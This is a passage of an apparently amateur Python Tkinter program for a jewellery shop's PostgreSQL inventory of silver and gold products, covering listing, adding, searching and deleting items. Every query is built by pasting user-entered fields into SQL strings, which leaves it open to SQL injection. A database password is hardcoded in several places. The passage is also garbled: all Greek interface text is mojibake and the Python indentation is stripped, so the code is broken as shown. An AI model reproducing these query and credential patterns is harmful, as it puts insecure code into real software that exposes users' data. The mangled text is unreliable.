window.title("ฮจฮทฯฮนฮฑฮบฮฎ ฮฯฮฟฮธฮฎฮบฮท ฮฮฟฯฮผฮทฮผฮฑฯฮฟฯฯฮปฮตฮฏฮฟฯ
-ฮ ฯฮฟฮฒฮฟฮปฮฎ ฮฃฯ
ฮฝฯฮปฮฟฯ
ฯฮตฮผฮฑฯฮฏฯฮฝ ฮฑฮฝฮฌ ฮบฮฑฯฮทฮณฮฟฯฮฏฮฑ ฮงฯฯ
ฯฮฟฯ ฮฑฮฝฮฌ ฯฯฮฟฮผฮทฮธฮตฯ
ฯฮฎ")
tree=ttk.Treeview(window,height=25,show=["headings"])
tree["columns"]=("ฮฮฑฯฮทฮณฮฟฯฮฏฮฑ","ฮ ฯฮฟฮผฮทฮธฮตฯ
ฯฮฎฯ","ฮ ฮฟฮนฯฯฮทฯฮฑ","ฮคฮตฮผฮฌฯฮนฮฑ")
tree.column("ฮฮฑฯฮทฮณฮฟฯฮฏฮฑ",width=200)
tree.column("ฮ ฯฮฟฮผฮทฮธฮตฯ
ฯฮฎฯ",width=200)
tree.column("ฮคฮตฮผฮฌฯฮนฮฑ",width=200)
tree.heading("ฮฮฑฯฮทฮณฮฟฯฮฏฮฑ", text="ฮฮฑฯฮทฮณฮฟฯฮฏฮฑ")
tree.heading("ฮ ฯฮฟฮผฮทฮธฮตฯ
ฯฮฎฯ", text="ฮ ฯฮฟฮผฮทฮธฮตฯ
ฯฮฎฯ")
tree.heading("ฮคฮตฮผฮฌฯฮนฮฑ", text="ฮคฮตฮผฮฌฯฮนฮฑ")
for i in lst:
tree.insert("",END,values=i)
tree.grid(row=0,column=0,padx=(10,10),pady=(10,10))
Button(window, text="OK",width=100,command=frame1).grid(row=1,column=0,padx=(10,10),pady=(10,10))
Label(window,text="Created by Tsakos Kostas").grid(row=2,column=0)
def click14_frame2():
clear()
lst=run_query("SELECT \"Categorie\",\"Company\",COUNT(*) FROM \"Silver Product\" GROUP BY \"Categorie\",\"Company\" ORDER BY \"Categorie\",\"Company\" ASC")
window.title("ฮจฮทฯฮนฮฑฮบฮฎ ฮฯฮฟฮธฮฎฮบฮท ฮฮฟฯฮผฮทฮผฮฑฯฮฟฯฯฮปฮตฮฏฮฟฯ
-ฮ ฯฮฟฮฒฮฟฮปฮฎ ฮฃฯ
ฮฝฯฮปฮฟฯ
ฯฮตฮผฮฑฯฮฏฯฮฝ ฮฑฮฝฮฌ ฮบฮฑฯฮทฮณฮฟฯฮฏฮฑ ฯฮต ฮฑฯฮฎฮผฮน ฮฎ ฮฮตฮฝฮนฮบฮฟฯ ฮคฯฯฮฟฯ
ฮฑฮฝฮฌ ฯฯฮฟฮผฮทฮธฮตฯ
ฯฮฎ")
tree=ttk.Treeview(window,height=25,show=["headings"])
tree["columns"]=("ฮฮฑฯฮทฮณฮฟฯฮฏฮฑ","ฮ ฯฮฟฮผฮทฮธฮตฯ
ฯฮฎฯ","ฮคฮตฮผฮฌฯฮนฮฑ")
tree.column("ฮฮฑฯฮทฮณฮฟฯฮฏฮฑ",width=200)
tree.column("ฮ ฯฮฟฮผฮทฮธฮตฯ
ฯฮฎฯ",width=200)
tree.column("ฮคฮตฮผฮฌฯฮนฮฑ",width=200)
tree.heading("ฮฮฑฯฮทฮณฮฟฯฮฏฮฑ", text="ฮฮฑฯฮทฮณฮฟฯฮฏฮฑ")
tree.heading("ฮ ฯฮฟฮผฮทฮธฮตฯ
ฯฮฎฯ", text="ฮ ฯฮฟฮผฮทฮธฮตฯ
ฯฮฎฯ")
tree.heading("ฮคฮตฮผฮฌฯฮนฮฑ", text="ฮคฮตฮผฮฌฯฮนฮฑ")
for i in lst:
tree.insert("",END,values=i)
tree.grid(row=0,column=0,padx=(10,10),pady=(10,10))
Button(window, text="OK",width=100,command=frame1).grid(row=1,column=0,padx=(10,10),pady=(10,10))
Label(window,text="Created by Tsakos Kostas").grid(row=2,column=0)
########################################################## END OF AGGREGATED QUERIES TO DATABASE ##############################################
########################################################## SILVER PRODUCT OPERATIONS IMPLEMENTATION ##############################################
def Delete_Silver_Product(tree):
for selected_item in tree.selection():
temp=[tree.set(selected_item,'#1'),tree.set(selected_item,'#2'),tree.set(selected_item,'#3'),tree.set(selected_item,'#4'),tree.set(selected_item,'#5')]
temp2=[None]*5 #Initialization of an empty list,this will be used for the queries checks format
temp3=[None]*5 #Initialization of an empty list,this will be used for the insertion's format
for i in range(5):
if (temp[i]=="None"):
temp2[i]=" is NULL"
temp3[i]="NULL"
else:
temp2[i]="='%s'" % (temp[i])
temp3[i]="'%s'" % (temp[i])
conn=psycopg2.connect("host='postgres-db' dbname='jewelery' user='postgres' password='kostas'")
cursor=conn.cursor()
query="SELECT COUNT(*) FROM \"Silver Product\" WHERE (\"Categorie\"%s AND \"Date\"%s AND \"Price\"%s AND \"Color\"%s AND \"Company\"%s)" % (temp2[0],temp2[1],temp2[2],temp2[3],temp2[4])
cursor.execute(query)
result=cursor.fetchone()
query="DELETE FROM \"Silver Product\" WHERE (\"Categorie\"%s AND \"Date\"%s AND \"Price\"%s AND \"Color\"%s AND \"Company\"%s)" % (temp2[0],temp2[1],temp2[2],temp2[3],temp2[4])
query_result=cursor.execute(query)
for i in range(result[0]-1):
query="INSERT INTO \"Silver Product\"(\"Categorie\",\"Date\",\"Price\",\"Color\",\"Company\") VALUES (%s,%s,%s,%s,%s);" % (temp3[0],temp3[1],temp3[2],temp3[3],temp3[4])
query_result=cursor.execute(query)
conn.commit()
conn.close()
tree.delete(selected_item)
click4_frame2_click3_frame3()
def click4_frame2_click3_frame3_results(temp1,temp2,temp3):
if(temp1=="" or temp2=="" or temp3==""):
click4_frame2_click3_frame3()
return;
clear()
window.title("ฮจฮทฯฮนฮฑฮบฮฎ ฮฯฮฟฮธฮฎฮบฮท ฮฮฟฯฮผฮทฮผฮฑฯฮฟฯฯฮปฮตฮฏฮฟฯ
-ฮฮนฮฑฮณฯฮฑฯฮฎ ฮ ฯฮฟฯฯฮฝฯฯฮฝ ฮฑฯฯ ฮฯฮฎฮผฮน ฮฎ ฮฮตฮฝฮนฮบฮฟฯ ฮคฯฯฮฟฯ
")
lst=run_query("SELECT * FROM \"Silver Product\" WHERE (\"Categorie\"='%s' AND \"Company\"='%s' AND \"Price\"='%s')" % (temp1,temp2,temp3))
tree=ttk.Treeview(window,height=25,show=["headings"])
tree["columns"]=("ฮฮฑฯฮทฮณฮฟฯฮฏฮฑ","ฮฮผฮตฯฮฟฮผฮทฮฝฮฏฮฑ","ฮคฮนฮผฮฎ","ฮงฯฯฮผฮฑ","ฮฯฮฑฮนฯฮตฮฏฮฑ")
tree.column("ฮฮฑฯฮทฮณฮฟฯฮฏฮฑ",width=100)
tree.column("ฮฮผฮตฯฮฟฮผฮทฮฝฮฏฮฑ",width=100)
tree.column("ฮคฮนฮผฮฎ",width=100)
tree.column("ฮงฯฯฮผฮฑ",width=100)
tree.column("ฮฯฮฑฮนฯฮตฮฏฮฑ",width=100)
tree.heading("ฮฮฑฯฮทฮณฮฟฯฮฏฮฑ", text="ฮฮฑฯฮทฮณฮฟฯฮฏฮฑ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Silver Product\" WHERE (\"Categorie\"='%s' AND \"Company\"='%s' AND \"Price\"='%s')" % (temp1,temp2,temp3),"Categorie"))
tree.heading("ฮฮผฮตฯฮฟฮผฮทฮฝฮฏฮฑ", text="ฮฮผฮตฯฮฟฮผฮทฮฝฮฏฮฑ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Silver Product\" WHERE (\"Categorie\"='%s' AND \"Company\"='%s' AND \"Price\"='%s')" % (temp1,temp2,temp3),"Date"))
tree.heading("ฮคฮนฮผฮฎ", text="ฮคฮนฮผฮฎ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Silver Product\" WHERE (\"Categorie\"='%s' AND \"Company\"='%s' AND \"Price\"='%s')" % (temp1,temp2,temp3),"Price"))
tree.heading("ฮงฯฯฮผฮฑ", text="ฮงฯฯฮผฮฑ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Silver Product\" WHERE (\"Categorie\"='%s' AND \"Company\"='%s' AND \"Price\"='%s')" % (temp1,temp2,temp3),"Color"))
tree.heading("ฮฯฮฑฮนฯฮตฮฏฮฑ", text="ฮฯฮฑฮนฯฮตฮฏฮฑ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Silver Product\" WHERE (\"Categorie\"='%s' AND \"Company\"='%s' AND \"Price\"='%s')" % (temp1,temp2,temp3),"Company"))
for i in lst:
tree.insert("",END,values=i)
tree.grid(row=0,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮฮนฮฑฮณฯฮฑฯฮฎ",width=100,command=lambda:Delete_Silver_Product(tree)).grid(row=1,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮ ฮฏฯฯ",width=100,command=click4_frame2_click3_frame3).grid(row=2,column=0,padx=(10,10),pady=(10,10))
Label(window,text="Created by Tsakos Kostas").grid(row=3,column=0)
def click4_frame2_click3_frame3():
clear()
window.title("ฮจฮทฯฮนฮฑฮบฮฎ ฮฯฮฟฮธฮฎฮบฮท ฮฮฟฯฮผฮทฮผฮฑฯฮฟฯฯฮปฮตฮฏฮฟฯ
-ฮฮฝฮฑฮถฮฎฯฮทฯฮท ฮ ฯฮฟฯฯฮฝฯฯฮฝ ฮฑฯฯ ฮฯฮฎฮผฮน ฮฎ ฮฮตฮฝฮนฮบฮฟฯ ฮคฯฯฮฟฯ
ฮณฮนฮฑ ฮฮนฮฑฮณฯฮฑฯฮฎ")
Label(window,text="ฮฮฑฯฮทฮณฮฟฯฮฏฮฑ").grid(row=0,column=0)
lst=run_query("SELECT * FROM \"Categories\"")
data=[]
for tuple in lst:
data.append(tuple[0])
E1=ttk.Combobox(window,width=100)
E1.grid(row=1,column=0)
E1['values']=data
Label(window,text="ฮ ฯฮฟฮผฮทฮธฮตฯ
ฯฮฎฯ").grid(row=2,column=0)
lst=run_query("SELECT * FROM \"Supplier\"")
data2=[]
for tuple in lst:
data2.append(tuple[0])
E2=ttk.Combobox(window,width=100)
E2.grid(row=3,column=0)
E2['values']=data2
Label(window,text="ฮคฮนฮผฮฎ").grid(row=4,column=0)
E3=Entry(window,width=100,bg="white")
E3.grid(row=5,column=0)
Button(window, text="ฮฮฝฮฑฮถฮฎฯฮทฯฮท",width=100,command=lambda:click4_frame2_click3_frame3_results(E1.get(),E2.get(),Converter_double_Precision(E3.get()))).grid(row=6,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮฮฑฮธฮฌฯฮนฯฮผฮฑ",width=100,command=click4_frame2_click3_frame3).grid(row=7,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮ ฮฏฯฯ",width=100,command=click4_frame2).grid(row=8,column=0,padx=(10,10),pady=(10,10))
Label(window,text="*ฮฮปฮฑ ฯฮฑ ฯฮตฮดฮฏฮฑ ฯฮทฯ ฮฑฮฝฮฑฮถฮฎฯฮทฯฮทฯ ฯฯฮญฯฮตฮน ฮฝฮฑ ฯฯ
ฮผฯฮปฮทฯฯฮธฮฟฯฮฝ!!").grid(row=9,column=0)
Label(window,text="Created by Tsakos Kostas").grid(row=10,column=0)
def Add_Silver_Product(temp1,temp2,temp3,temp4,temp5,temp6,temp7,temp8):#Insert Silver Product into DB
if (len(temp1)==0 or len(temp3)==0 or len(temp5)==0):
temp8.config(text='ฮฯฮฟฯฯ
ฯฮทฮผฮญฮฝฮท ฮบฮฑฯฮฑฯฯฯฮทฯฮท! ฮ ฯฮญฯฮตฮน ฮฝฮฑ ฯฯ
ฮผฯฮปฮทฯฯฮธฮฟฯฮฝ ฯฮฑ ฯฮตฮดฮฏฮฑ ฮผฮต ฮฑฯฯฮตฯฮฏฯฮบฮฟ (*)!')
temp8.config(fg="red")
temp7.config(text="")
elif (len(temp2)!=0 and validate(temp2)==False):
temp7.config(text='ฮ ฮทฮผฮตฯฮฟฮผฮทฮฝฮฏฮฑ ฮดฮต ฮดฯฮธฮทฮบฮต ฯฯฯฯฮฌ!!')
temp7.config(fg="red")
temp8.config(text="")
else:
temp7.config(text="")
temp8.config(text='ฮฯฮนฯฯ
ฯฮฎฯ ฮบฮฑฯฮฑฯฯฯฮทฯฮท!')
temp8.config(fg="green")
temp6.delete(0,'end')
temp5="'"+temp5+"'"
temp1="'"+temp1+"'"
temp3="'"+temp3+"'"
if (len(temp2)==0):
temp2="NULL"
else:
temp2="'"+temp2+"'"
if (len(temp4)==0):
temp4="NULL"
else:
temp4="'"+temp4+"'"
conn=psycopg2.connect("host='postgres-db' dbname='jewelery' user='postgres' password='kostas'")
cursor=conn.cursor()
query="INSERT INTO \"Silver Product\"(\"Categorie\",\"Date\",\"Price\",\"Color\",\"Company\") VALUES (%s,%s,%s,%s,%s);" % (temp1,temp2,temp3,temp4,temp5)
query_result=cursor.execute(query)
conn.commit()
conn.close()
def click4_frame2_click2_frame3_firsttime():
clear()
click4_frame2_click2_frame3()
def click4_frame2_click2_frame3():
#clear()
window.title("ฮจฮทฯฮนฮฑฮบฮฎ ฮฯฮฟฮธฮฎฮบฮท ฮฮฟฯฮผฮทฮผฮฑฯฮฟฯฯฮปฮตฮฏฮฟฯ
-ฮฮนฯฮฑฮณฯฮณฮฎ Nฮญฮฟฯ
ฮ ฯฮฟฯฯฮฝฯฮฟฯ ฮฑฯฯ ฮฯฮฎฮผฮน ฮฎ ฮฮตฮฝฮนฮบฮฟฯ ฮคฯฯฮฟฯ
")
Label(window,text="ฮฮฑฯฮทฮณฮฟฯฮฏฮฑ*").grid(row=0,column=0)
lst=run_query("SELECT * FROM \"Categories\"")
data=[]
for tuple in lst:
data.append(tuple[0])
E1=ttk.Combobox(window,width=100)
E1.grid(row=1,column=0)
E1['values']=data
Label(window,text="ฮฮผฮตฯฮฟฮผฮทฮฝฮฏฮฑ**").grid(row=2,column=0)
E2=Entry(window,width=100,bg="white")
E2.grid(row=3,column=0)
L1=Label(window,text="")
L1.grid(row=3,column=1)
Label(window,text="ฮคฮนฮผฮฎ(*)(***)").grid(row=4,column=0)
E3=Entry(window,width=100,bg="white")
E3.grid(row=5,column=0)
L2=Label(window,text="")
L2.grid(row=5,column=1)
Label(window,text="ฮงฯฯฮผฮฑ").grid(row=6,column=0)
E4=ttk.Combobox(window,width=100)
E4.grid(row=7,column=0)
E4['values']=['ฮฮฃฮ ฮกฮ','ฮฮฮคฮกฮฮฮ','ฮกฮฮ']
Label(window,text="ฮ ฯฮฟฮผฮทฮธฮตฯ
ฯฮฎฯ*").grid(row=8,column=0)
lst=run_query("SELECT * FROM \"Supplier\"")
data2=[]
for tuple in lst:
data2.append(tuple[0])
E5=ttk.Combobox(window,width=100)
E5.grid(row=9,column=0)
E5['values']=data2
Button(window, text="ฮ ฯฮฟฯฮธฮฎฮบฮท",width=100,command=lambda:Add_Silver_Product(E1.get(),E2.get(),Converter_double_Precision(E3.get()),E4.get(),E5.get(),E3,L1,L2)).grid(row=10,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮฮฑฮธฮฌฯฮนฯฮผฮฑ",width=100,command=click4_frame2_click2_frame3_firsttime).grid(row=11,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮ ฮฏฯฯ",width=100,command=click4_frame2).grid(row=12,column=0,padx=(10,10),pady=(10,10))
Label(window,text="*ฮคฮฑ ฯฮตฮดฮฏฮฑ ฮตฮฏฮฝฮฑฮน ฯ
ฯฮฟฯฯฮตฯฯฮนฮบฯ ฮฝฮฑ ฮตฮฏฮฝฮฑฮน ฯฯ
ฮผฯฮปฮทฯฯฮผฮญฮฝฮฑ ฯฯฮนฮฝ ฯฮทฮฝ ฯฯฮฟฯฮธฮฎฮบฮท\n** ฮ ฮทฮผฮตฯฮฟฮผฮทฮฝฮฏฮฑ ฯฯฮญฯฮตฮน ฮฝฮฑ ฮตฮฏฮฝฮฑฮน ฯฮทฯ ฮผฮฟฯฯฮฎฯ:dd-mm-yyyy\n***ฮคฮฟ ฯฮตฮดฮฏฮฟ ฮคฮนฮผฮฎ ฯฯฮญฯฮตฮน ฮฝฮฑ ฮดฯฮธฮตฮฏ ฮผฮต ฮฑฮบฯฮฏฮฒฮตฮนฮฑ 2 ฮดฮตฮบฮฑฮดฮนฮบฯฮฝ ฯฮทฯฮฏฯฮฝ").grid(row=13,column=0,padx=(10,10),pady=(10,10))
Label(window,text="Created by Tsakos Kostas").grid(row=14,column=0)
def click4_frame2_click1_frame3():
clear()
window.title("ฮจฮทฯฮนฮฑฮบฮฎ ฮฯฮฟฮธฮฎฮบฮท ฮฮฟฯฮผฮทฮผฮฑฯฮฟฯฯฮปฮตฮฏฮฟฯ
-ฮ ฯฮฟฮฒฮฟฮปฮฎ ฮ ฯฮฟฯฯฮฝฯฯฮฝ ฮฑฯฯ ฮฯฮฎฮผฮน ฮฎ ฮฮตฮฝฮนฮบฮฟฯ ฮคฯฯฮฟฯ
")
lst=run_query("SELECT * FROM \"Silver Product\"")
tree=ttk.Treeview(window,height=25,show=["headings"])
tree["columns"]=("ฮฮฑฯฮทฮณฮฟฯฮฏฮฑ","ฮฮผฮตฯฮฟฮผฮทฮฝฮฏฮฑ","ฮคฮนฮผฮฎ","ฮงฯฯฮผฮฑ","ฮฯฮฑฮนฯฮตฮฏฮฑ")
tree.column("ฮฮฑฯฮทฮณฮฟฯฮฏฮฑ",width=100)
tree.column("ฮฮผฮตฯฮฟฮผฮทฮฝฮฏฮฑ",width=100)
tree.column("ฮคฮนฮผฮฎ",width=100)
tree.column("ฮงฯฯฮผฮฑ",width=100)
tree.column("ฮฯฮฑฮนฯฮตฮฏฮฑ",width=100)
tree.heading("ฮฮฑฯฮทฮณฮฟฯฮฏฮฑ", text="ฮฮฑฯฮทฮณฮฟฯฮฏฮฑ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Silver Product\"","Categorie"))
tree.heading("ฮฮผฮตฯฮฟฮผฮทฮฝฮฏฮฑ", text="ฮฮผฮตฯฮฟฮผฮทฮฝฮฏฮฑ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Silver Product\"","Date"))
tree.heading("ฮคฮนฮผฮฎ", text="ฮคฮนฮผฮฎ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Silver Product\"","Price"))
tree.heading("ฮงฯฯฮผฮฑ", text="ฮงฯฯฮผฮฑ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Silver Product\"","Color"))
tree.heading("ฮฯฮฑฮนฯฮตฮฏฮฑ", text="ฮฯฮฑฮนฯฮตฮฏฮฑ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Silver Product\"","Company"))
for i in lst:
tree.insert("",END,values=i)
tree.grid(row=0,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮ ฮฏฯฯ",width=100,command=click4_frame2).grid(row=1,column=0,padx=(10,10),pady=(10,10))
Label(window,text="Created by Tsakos Kostas").grid(row=2,column=0)
def click4_frame2():
clear()
window.title("ฮจฮทฯฮนฮฑฮบฮฎ ฮฯฮฟฮธฮฎฮบฮท ฮฮฟฯฮผฮทฮผฮฑฯฮฟฯฯฮปฮตฮฏฮฟฯ
-ฮ ฯฮฟฯฯฮฝฯฮฑ ฮฑฯฯ ฮฯฮฎฮผฮน ฮฎ ฮฮตฮฝฮนฮบฮฟฯ ฮคฯฯฮฟฯ
")
Button(window, text="ฮ ฯฮฟฮฒฮฟฮปฮฎ ฮ ฯฮฟฯฯฮฝฯฯฮฝ",width=100,command=click4_frame2_click1_frame3).grid(row=0,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮฮนฯฮฑฮณฯฮณฮฎ ฮฮญฮฟฯ
ฮ ฯฮฟฯฯฮฝฯฮฟฯ",width=100,command=click4_frame2_click2_frame3_firsttime).grid(row=1,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮฮนฮฑฮณฯฮฑฯฮฎ ฮ ฯฮฟฯฯฮฝฯฮฟฯ",width=100,command=click4_frame2_click3_frame3).grid(row=2,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮ ฮฏฯฯ",width=100,command=frame1).grid(row=3,column=0,padx=(10,10),pady=(10,10))
Label(window,text="Created by Tsakos Kostas").grid(row=4,column=0)
########################################################## END OF SILVER PRODUCT OPERATIONS #######################################################
########################################################## GOLD PRODUCTS OPERATIONS IMPLEMENTATION ###############################################
def Delete_Gold_Product(tree):
for selected_item in tree.selection():
temp=[tree.set(selected_item,'#1'),tree.set(selected_item,'#2'),tree.set(selected_item,'#3'),tree.set(selected_item,'#4'),tree.set(selected_item,'#5'),tree.set(selected_item,'#6'),tree.set(selected_item,'#7')]
temp2=[None]*7 #Initialization of an empty list,this will be used for the queries checks format
temp3=[None]*7 #Initialization of an empty list,this will be used for the insertion's format
for i in range(7):
if (temp[i]=="None"):
temp2[i]=" is NULL"
temp3[i]="NULL"
else:
temp2[i]="='%s'" % (temp[i])
temp3[i]="'%s'" % (temp[i])
conn=psycopg2.connect("host='postgres-db' dbname='jewelery' user='postgres' password='kostas'")
cursor=conn.cursor()
query="SELECT COUNT(*) FROM \"Gold Product\" WHERE (\"Categorie\"%s AND \"Date\"%s AND \"Price\"%s AND \"Color\"%s AND \"Company\"%s AND \"Quality\"%s AND \"Weight\"%s)" % (temp2[0],temp2[1],temp2[2],temp2[3],temp2[4],temp2[5],temp2[6])
cursor.execute(query)
result=cursor.fetchone()
query="DELETE FROM \"Gold Product\" WHERE (\"Categorie\"%s AND \"Date\"%s AND \"Price\"%s AND \"Color\"%s AND \"Company\"%s AND \"Quality\"%s AND \"Weight\"%s)" % (temp2[0],temp2[1],temp2[2],temp2[3],temp2[4],temp2[5],temp2[6])
query_result=cursor.execute(query)
for i in range(result[0]-1):
query="INSERT INTO \"Gold Product\"(\"Categorie\",\"Date\",\"Price\",\"Color\",\"Company\",\"Quality\",\"Weight\") VALUES (%s,%s,%s,%s,%s,%s,%s);" % (temp3[0],temp3[1],temp3[2],temp3[3],temp3[4],temp3[5],temp3[6])
query_result=cursor.execute(query)
conn.commit()
conn.close()
tree.delete(selected_item)
click3_frame2_click3_frame3()
def click3_frame2_click3_frame3_results(temp1,temp2,temp3,temp4):
if(temp1=="" or temp2=="" or temp3=="" or temp4==""):
click3_frame2_click3_frame3()
return;
clear()
window.title("ฮจฮทฯฮนฮฑฮบฮฎ ฮฯฮฟฮธฮฎฮบฮท ฮฮฟฯฮผฮทฮผฮฑฯฮฟฯฯฮปฮตฮฏฮฟฯ
-ฮฮนฮฑฮณฯฮฑฯฮฎ ฮ ฯฮฟฯฯฮฝฯฯฮฝ ฮงฯฯ
ฯฮฟฯ")
lst=run_query("SELECT * FROM \"Gold Product\" WHERE (\"Categorie\"='%s' AND \"Company\"='%s' AND \"Quality\"='%s' AND \"Weight\"='%s')" %(temp1,temp2,temp3,temp4))
tree=ttk.Treeview(window,height=25,show=["headings"])
tree["columns"]=("ฮฮฑฯฮทฮณฮฟฯฮฏฮฑ","ฮฮผฮตฯฮฟฮผฮทฮฝฮฏฮฑ","ฮคฮนฮผฮฎ","ฮงฯฯฮผฮฑ","ฮฯฮฑฮนฯฮตฮฏฮฑ","ฮ ฮฟฮนฯฯฮทฯฮฑ","ฮฮฌฯฮฟฯ")
tree.column("ฮฮฑฯฮทฮณฮฟฯฮฏฮฑ",width=100)
tree.column("ฮฮผฮตฯฮฟฮผฮทฮฝฮฏฮฑ",width=100)
tree.column("ฮคฮนฮผฮฎ",width=100)
tree.column("ฮงฯฯฮผฮฑ",width=100)
tree.column("ฮฯฮฑฮนฯฮตฮฏฮฑ",width=100)
tree.column("ฮ ฮฟฮนฯฯฮทฯฮฑ",width=100)
tree.column("ฮฮฌฯฮฟฯ",width=100)
tree.heading("ฮฮฑฯฮทฮณฮฟฯฮฏฮฑ", text="ฮฮฑฯฮทฮณฮฟฯฮฏฮฑ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Gold Product\" WHERE (\"Categorie\"='%s' AND \"Company\"='%s' AND \"Quality\"='%s' AND \"Weight\"='%s')" %(temp1,temp2,temp3,temp4),"Categorie"))
tree.heading("ฮฮผฮตฯฮฟฮผฮทฮฝฮฏฮฑ", text="ฮฮผฮตฯฮฟฮผฮทฮฝฮฏฮฑ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Gold Product\" WHERE (\"Categorie\"='%s' AND \"Company\"='%s' AND \"Quality\"='%s' AND \"Weight\"='%s')" %(temp1,temp2,temp3,temp4),"Date"))
tree.heading("ฮคฮนฮผฮฎ", text="ฮคฮนฮผฮฎ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Gold Product\" WHERE (\"Categorie\"='%s' AND \"Company\"='%s' AND \"Quality\"='%s' AND \"Weight\"='%s')" %(temp1,temp2,temp3,temp4),"Price"))
tree.heading("ฮงฯฯฮผฮฑ", text="ฮงฯฯฮผฮฑ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Gold Product\" WHERE (\"Categorie\"='%s' AND \"Company\"='%s' AND \"Quality\"='%s' AND \"Weight\"='%s')" %(temp1,temp2,temp3,temp4),"Color"))
tree.heading("ฮฯฮฑฮนฯฮตฮฏฮฑ", text="ฮฯฮฑฮนฯฮตฮฏฮฑ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Gold Product\" WHERE (\"Categorie\"='%s' AND \"Company\"='%s' AND \"Quality\"='%s' AND \"Weight\"='%s')" %(temp1,temp2,temp3,temp4),"Company"))
tree.heading("ฮ ฮฟฮนฯฯฮทฯฮฑ", text="ฮ ฮฟฮนฯฯฮทฯฮฑ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Gold Product\" WHERE (\"Categorie\"='%s' AND \"Company\"='%s' AND \"Quality\"='%s' AND \"Weight\"='%s')" %(temp1,temp2,temp3,temp4),"Quality"))
tree.heading("ฮฮฌฯฮฟฯ", text="ฮฮฌฯฮฟฯ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Gold Product\" WHERE (\"Categorie\"='%s' AND \"Company\"='%s' AND \"Quality\"='%s' AND \"Weight\"='%s')" %(temp1,temp2,temp3,temp4),"Weight"))
for i in lst:
tree.insert("",END,values=i)
tree.grid(row=0,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮฮนฮฑฮณฯฮฑฯฮฎ",width=100,command=lambda:Delete_Gold_Product(tree)).grid(row=1,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮ ฮฏฯฯ",width=100,command=click3_frame2_click3_frame3).grid(row=2,column=0,padx=(10,10),pady=(10,10))
Label(window,text="Created by Tsakos Kostas").grid(row=3,column=0)
def click3_frame2_click3_frame3():
clear()
window.title("ฮจฮทฯฮนฮฑฮบฮฎ ฮฯฮฟฮธฮฎฮบฮท ฮฮฟฯฮผฮทฮผฮฑฯฮฟฯฯฮปฮตฮฏฮฟฯ
-ฮฮฝฮฑฮถฮฎฯฮทฯฮท ฮ ฯฮฟฯฯฮฝฯฯฮฝ ฮงฯฯ
ฯฮฟฯ ฮณฮนฮฑ ฮฮนฮฑฮณฯฮฑฯฮฎ")
Label(window,text="ฮฮฑฯฮทฮณฮฟฯฮฏฮฑ").grid(row=0,column=0)
lst=run_query("SELECT * FROM \"Categories\"")
data=[]
for tuple in lst:
data.append(tuple[0])
E1=ttk.Combobox(window,width=100)
E1.grid(row=1,column=0)
E1['values']=data
Label(window,text="ฮ ฯฮฟฮผฮทฮธฮตฯ
ฯฮฎฯ").grid(row=2,column=0)
lst=run_query("SELECT * FROM \"Supplier\"")
data2=[]
for tuple in lst:
data2.append(tuple[0])
E2=ttk.Combobox(window,width=100)
E2.grid(row=3,column=0)
E2['values']=data2
Label(window,text="ฮ ฮฟฮนฯฯฮทฯฮฑ").grid(row=4,column=0)
E3=ttk.Combobox(window,width=100)
E3.grid(row=5,column=0)
E3['values']=['K9','K14','K18']
Label(window,text="ฮฮฌฯฮฟฯ").grid(row=6,column=0)
E4=Entry(window,width=100,bg="white")
E4.grid(row=7,column=0)
Button(window, text="ฮฮฝฮฑฮถฮฎฯฮทฯฮท",width=100,command=lambda:click3_frame2_click3_frame3_results(E1.get(),E2.get(),E3.get(),Converter_double_Precision(E4.get()))).grid(row=8,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮฮฑฮธฮฌฯฮนฯฮผฮฑ",width=100,command=click3_frame2_click3_frame3).grid(row=9,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮ ฮฏฯฯ",width=100,command=click3_frame2).grid(row=10,column=0,padx=(10,10),pady=(10,10))
Label(window,text="*ฮฮปฮฑ ฯฮฑ ฯฮตฮดฮฏฮฑ ฯฮทฯ ฮฑฮฝฮฑฮถฮฎฯฮทฯฮทฯ ฯฯฮญฯฮตฮน ฮฝฮฑ ฯฯ
ฮผฯฮปฮทฯฯฮธฮฟฯฮฝ!!").grid(row=11,column=0)
Label(window,text="Created by Tsakos Kostas").grid(row=12,column=0)
def Add_Gold_Product(temp1,temp2,temp3,temp4,temp5,temp6,temp7,temp8,temp9,temp10):#Insert Gold Product into DB
if (len(temp1)==0 or len(temp5)==0 or len(temp6)==0 or len(temp7)==0):
temp10.config(text='ฮฯฮฟฯฯ
ฯฮทฮผฮญฮฝฮท ฮบฮฑฯฮฑฯฯฯฮทฯฮท! ฮ ฯฮญฯฮตฮน ฮฝฮฑ ฯฯ
ฮผฯฮปฮทฯฯฮธฮฟฯฮฝ ฯฮฑ ฯฮตฮดฮฏฮฑ ฮผฮต ฮฑฯฯฮตฯฮฏฯฮบฮฟ (*)!')
temp10.config(fg="red")
temp9.config(text="")
elif (len(temp2)!=0 and validate(temp2)==False):
